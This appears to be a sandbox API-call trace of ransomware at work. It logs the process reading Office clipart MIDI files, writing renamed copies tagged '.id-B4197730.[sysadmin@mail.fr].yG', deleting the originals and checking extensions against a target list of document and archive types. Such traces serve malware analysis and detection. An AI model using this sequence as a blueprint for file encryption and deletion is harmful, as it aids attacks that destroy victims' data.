	[0150.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0150.783] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.783] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0150.784] GetLastError () returned 0x0
	[0150.784] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x1a6b, lpOverlapped=0x0) returned 1
	[0151.023] WriteFile (in: hFile=0x388, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x1a70, lpOverlapped=0x0) returned 1
	[0151.056] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.056] WriteFile (in: hFile=0x388, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.057] SetEndOfFile (hFile=0x388) returned 1
	[0151.057] CloseHandle (hObject=0x388) returned 1
	[0151.057] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.057] SetEndOfFile (hFile=0x550) returned 1
	[0151.060] CloseHandle (hObject=0x550) returned 1
	[0151.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 1
	[0151.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0151.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0151.275] lstrlenW (lpString=".doc") returned 4
	[0151.275] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.275] lstrlenW (lpString=".docx") returned 5
	[0151.275] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0151.275] lstrlenW (lpString=".pdf") returned 4
	[0151.275] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.275] lstrlenW (lpString=".xls") returned 4
	[0151.275] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.275] lstrlenW (lpString=".xlsx") returned 5
	[0151.275] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0151.275] lstrlenW (lpString=".ppt") returned 4
	[0151.275] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0151.275] lstrlenW (lpString=".zip") returned 4
	[0151.275] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.275] lstrlenW (lpString=".rar") returned 4
	[0151.275] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.275] lstrlenW (lpString=".bz2") returned 4
	[0151.275] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.275] lstrlenW (lpString=".7z") returned 3
	[0151.275] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0151.275] lstrlenW (lpString=".dbf") returned 4
	[0151.275] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0151.276] lstrlenW (lpString=".1cd") returned 4
	[0151.276] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0151.276] lstrlenW (lpString=".jpg") returned 4
	[0151.276] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0151.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0151.276] lstrlenW (lpString=".doc") returned 4
	[0151.276] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.276] lstrlenW (lpString=".docx") returned 5
	[0151.276] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0151.276] lstrlenW (lpString=".pdf") returned 4
	[0151.276] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.276] lstrlenW (lpString=".xls") returned 4
	[0151.276] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.276] lstrlenW (lpString=".xlsx") returned 5
	[0151.276] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0151.276] lstrlenW (lpString=".ppt") returned 4
	[0151.276] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0151.276] lstrlenW (lpString=".zip") returned 4
	[0151.276] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.276] lstrlenW (lpString=".rar") returned 4
	[0151.276] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.276] lstrlenW (lpString=".bz2") returned 4
	[0151.277] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.277] lstrlenW (lpString=".7z") returned 3
	[0151.277] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0151.277] lstrlenW (lpString=".dbf") returned 4
	[0151.277] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0151.277] lstrlenW (lpString=".1cd") returned 4
	[0151.277] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0151.277] lstrlenW (lpString=".jpg") returned 4
	[0151.277] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.277] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0151.277] lstrlenW (lpString="PARNT_08.MID") returned 12
	[0151.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.279] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=7347) returned 1
	[0151.279] CloseHandle (hObject=0x388) returned 1
	[0151.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 0x220
	[0151.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0151.596] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.596] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0151.597] GetLastError () returned 0x0
	[0151.597] ReadFile (in: hFile=0x55c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x1cb3, lpOverlapped=0x0) returned 1
	[0151.625] WriteFile (in: hFile=0x4d8, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x1cc0, lpOverlapped=0x0) returned 1
	[0151.626] ReadFile (in: hFile=0x55c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.626] WriteFile (in: hFile=0x4d8, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.626] SetEndOfFile (hFile=0x4d8) returned 1
	[0151.626] CloseHandle (hObject=0x4d8) returned 1
	[0151.626] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.626] SetEndOfFile (hFile=0x55c) returned 1
	[0151.629] CloseHandle (hObject=0x55c) returned 1
	[0151.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 1
	[0151.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0151.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0151.631] lstrlenW (lpString=".doc") returned 4
	[0151.631] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.631] lstrlenW (lpString=".docx") returned 5
	[0151.631] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1
	[0151.631] lstrlenW (lpString=".pdf") returned 4
	[0151.631] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.631] lstrlenW (lpString=".xls") returned 4
	[0151.631] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.631] lstrlenW (lpString=".xlsx") returned 5
	[0151.631] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1
	[0151.632] lstrlenW (lpString=".ppt") returned 4
	[0151.632] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0151.632] lstrlenW (lpString=".zip") returned 4
	[0151.632] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.632] lstrlenW (lpString=".rar") returned 4
	[0151.632] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.632] lstrlenW (lpString=".bz2") returned 4
	[0151.632] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.632] lstrlenW (lpString=".7z") returned 3
	[0151.632] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0151.632] lstrlenW (lpString=".dbf") returned 4
	[0151.632] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0151.632] lstrlenW (lpString=".1cd") returned 4
	[0151.632] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0151.632] lstrlenW (lpString=".jpg") returned 4
	[0151.632] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0151.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0151.632] lstrlenW (lpString=".doc") returned 4
	[0151.632] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.632] lstrlenW (lpString=".docx") returned 5
	[0151.633] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1
	[0151.633] lstrlenW (lpString=".pdf") returned 4
	[0151.633] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.633] lstrlenW (lpString=".xls") returned 4
	[0151.633] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.633] lstrlenW (lpString=".xlsx") returned 5
	[0151.633] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1
	[0151.633] lstrlenW (lpString=".ppt") returned 4
	[0151.633] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0151.633] lstrlenW (lpString=".zip") returned 4
	[0151.633] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.633] lstrlenW (lpString=".rar") returned 4
	[0151.633] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.633] lstrlenW (lpString=".bz2") returned 4
	[0151.633] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.633] lstrlenW (lpString=".7z") returned 3
	[0151.633] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0151.633] lstrlenW (lpString=".dbf") returned 4
	[0151.633] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0151.633] lstrlenW (lpString=".1cd") returned 4
	[0151.633] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68
	[0151.633] lstrlenW (lpString=".jpg") returned 4
	[0151.633] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.634] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0151.634] lstrlenW (lpString="SHOW_01.MID") returned 11
	[0151.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.994] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=6392) returned 1
	[0151.994] CloseHandle (hObject=0x388) returned 1
	[0151.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 0x220
	[0151.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.998] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.998] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0151.998] GetLastError () returned 0x0
	[0151.999] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x18f8, lpOverlapped=0x0) returned 1
	[0152.000] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x1900, lpOverlapped=0x0) returned 1
	[0152.001] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0152.002] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xea, lpOverlapped=0x0) returned 1
	[0152.002] SetEndOfFile (hFile=0x540) returned 1
	[0152.002] CloseHandle (hObject=0x540) returned 1
	[0152.007] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.007] SetEndOfFile (hFile=0x388) returned 1
	[0152.010] CloseHandle (hObject=0x388) returned 1
	[0152.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0152.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 1
	[0152.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0152.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0152.011] lstrlenW (lpString=".doc") returned 4
	[0152.011] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0152.011] lstrlenW (lpString=".docx") returned 5
	[0152.011] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0152.011] lstrlenW (lpString=".pdf") returned 4
	[0152.011] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0152.011] lstrlenW (lpString=".xls") returned 4
	[0152.011] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0152.011] lstrlenW (lpString=".xlsx") returned 5
	[0152.012] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0152.012] lstrlenW (lpString=".ppt") returned 4
	[0152.012] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0152.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0152.012] lstrlenW (lpString=".zip") returned 4
	[0152.012] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0152.012] lstrlenW (lpString=".rar") returned 4
	[0152.012] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0152.012] lstrlenW (lpString=".bz2") returned 4
	[0152.012] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0152.012] lstrlenW (lpString=".7z") returned 3
	[0152.012] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0152.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0152.012] lstrlenW (lpString=".dbf") returned 4
	[0152.012] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0152.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0152.012] lstrlenW (lpString=".1cd") returned 4
	[0152.012] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0152.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0152.012] lstrlenW (lpString=".jpg") returned 4
	[0152.012] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0152.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0152.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0152.012] lstrlenW (lpString=".doc") returned 4
	[0152.012] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0152.012] lstrlenW (lpString=".docx") returned 5
	[0152.012] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0152.013] lstrlenW (lpString=".pdf") returned 4
	[0152.013] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0152.013] lstrlenW (lpString=".xls") returned 4
	[0152.013] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0152.013] lstrlenW (lpString=".xlsx") returned 5
	[0152.013] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0152.013] lstrlenW (lpString=".ppt") returned 4
	[0152.013] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0152.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0152.013] lstrlenW (lpString=".zip") returned 4
	[0152.013] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0152.013] lstrlenW (lpString=".rar") returned 4
	[0152.013] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0152.013] lstrlenW (lpString=".bz2") returned 4
	[0152.013] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0152.013] lstrlenW (lpString=".7z") returned 3
	[0152.013] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0152.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0152.013] lstrlenW (lpString=".dbf") returned 4
	[0152.013] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0152.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0152.013] lstrlenW (lpString=".1cd") returned 4
	[0152.013] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0152.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0152.013] lstrlenW (lpString=".jpg") returned 4
	[0152.013] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0152.014] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0152.014] lstrlenW (lpString="VCTRN_01.MID") returned 12
	[0152.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0152.015] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=4961) returned 1
	[0152.015] CloseHandle (hObject=0x388) returned 1
	[0152.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x220
	[0152.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
